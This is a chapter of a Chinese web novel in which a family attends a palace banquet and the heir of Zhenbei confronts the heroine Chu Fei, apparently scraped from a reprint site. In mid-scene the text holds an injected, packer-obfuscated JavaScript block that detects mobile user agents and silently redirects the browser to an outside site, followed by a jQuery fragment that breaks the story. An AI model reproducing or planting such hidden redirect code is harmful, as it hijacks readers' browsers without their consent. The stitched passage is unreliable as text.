97. 报恩的郡主(96)(第2页)
“不止会,而且骑马骑得很好,好像勇毅侯就是见了骑马的皇姐才一见倾心的。”
俞皇后来了兴趣:“详细说说?”
毓秀和宫女们也竖着耳朵,她们入宫当差时,安阳长公主已然成亲了,这样的事自是不知道的。
元熙帝笑呵呵的,看了眼毓秀几个,摆摆手让她们退远些,凑到俞皇后旁边低声说起来:“我和你说啊,那还是勇毅侯在我身边当伴读的时候,皇姐不是经常来看我嘛,有一次我们上骑射课……”
毓秀、宫女们离远了,陛下声音又低,任凭她们保持安静也听不到说的是什么,不免懊恼地对视,个个在心中腹诽:陛下也太可恶了,勾起了别人的好奇心,就不能大大方方说么?
另一边进宫的文瑾一家子可不知道自家皇弟正在说他们两口子的八卦,他们通过宫门口的检查,进宫没多久就和宋瑾玉汇合了,这家伙把参加宴会的衣服都带着呢,在宫里一换就准备好了。
宋恒、宋瑾玉身着符合他们爵位品级的常服,文瑾、赵婳、楚霏都穿着符合她们身份的华服和簪环配饰,满月宴不算重大宫宴,不用着品级大妆,只要合乎礼仪、不出格便好。
“今日宴会不算特别庄重的场合,可以稍微自在些,席间看到祖父、祖母了,我们就过去问好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145286|180148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋瑾玉走在赵婳旁边,低声与她道。
他说的祖父祖母是指礼部尚书赵矩夫妇,他们是赵婳的祖父祖母。
赵婳看了眼比他们快两步的公婆,点了点头:“我知道了,我和元元在一起呢,有什么不放心的?”
宋瑾玉看了眼一旁只管跟着他们走、明显走神的楚霏:“她在旁边我才更不放心,她还不如你呢,没参加过几个宫宴,虽然在宫里住过,可她只去过紫微宫、昭阳宫和勤政殿,熟悉的也只这三个地方,旁的地方一点儿也不熟。”
赵婳无语:“有你这么说妹妹的吗?”
“你看看她,不知道又在默背什么医典还是药方,这样的能照顾你什么?”
“我又不是三岁小孩,不会在宫里乱走的。”
“人心险恶,谁知道这种宴会有没有人使坏,贿赂宫女带错路、泼洒酒水什么的,那坏人做这种事是没有道理可讲的,兴许只是记恨某一日看了他一眼、说了他一句等等。”宋瑾玉一通脑补,担心得不行,“人家破瓷烂瓦的,咱们好好的玉瓶哪能让他们碰?”
宋恒和文瑾在前面听得好笑,两人对视着交换眼神。
一个眼神说:你不管管你儿子?
一个回复:那也是你儿子。
一个嫌弃:紧张妻子成这样,跟没娶过媳妇一样。
一个点头:确实头一次娶妻。
一家五口人,只有楚霏隔绝在这场夫妻热闹之外,当然,她本人也根本没意识到这个。
这场满月宴设在宫中的花园里,这地方大、花木多,还有湖水,禁卫军早些天便开始地毯式检查,排查那些影响宴会的隐患,且宫中内侍也加大人手清除花园里可能存在的蛇虫鼠蚁,怕宴会时惊扰女眷。
而且,宫里也不是谁能撒野的地方,哪里就有许多危险了?
文瑾一家到的时候,参加宴会的人差不多都到了,见帝后还未来,文瑾夫妻、宋瑾玉夫妻各自分头去和旁人打招呼,只楚霏一个留在了原地。
燕北归也来了,他眸光黑沉盯着被留下的少女,片刻后走了过去。
嗯?
身前有片阴影,楚霏将注意力从脑海中推演的药方中拔出来,仰头一看才发现是镇北王世子。
“郡主安好。”燕北归已经彻底好了,此时站在她面前,竟比她高出一尺左右,往日坐在轮椅中,全然看不出他如此高挑。
“世子安好。”楚霏暗自感叹他的身高,敏锐地察觉到他好似压抑着怒气,迟疑一瞬,道,“世子仿佛……心情不佳?”
燕北归:“宫宴结束后,郡主可否单独一叙?”
他方才近距离仔细打量了,面前这个躯壳确实是宋元玉的,但内里的魂恐怕不是,心里一直怀抱的那丝期望彻底破灭,这让他恨极怒极,本来燕安想着明日七夕寻机会与她单独见一次,可他实在等不了了,今天,他必须要弄清楚这身体里到底是个什么东西!
楚霏对这要求十分诧异,可念及这是原身喜欢的人,她倒也没想太多:“可,那宫宴后我与爹娘他们分开走。”
“好!”燕北归多一眼都不想再看,转身就回了自己的席位。
楚霏歪下头,心里传来了原身的疑惑和担忧,显然,原身也觉得这位世子今天不大对劲。
但她素来不是多想的人,很快就把这个抛之脑后了。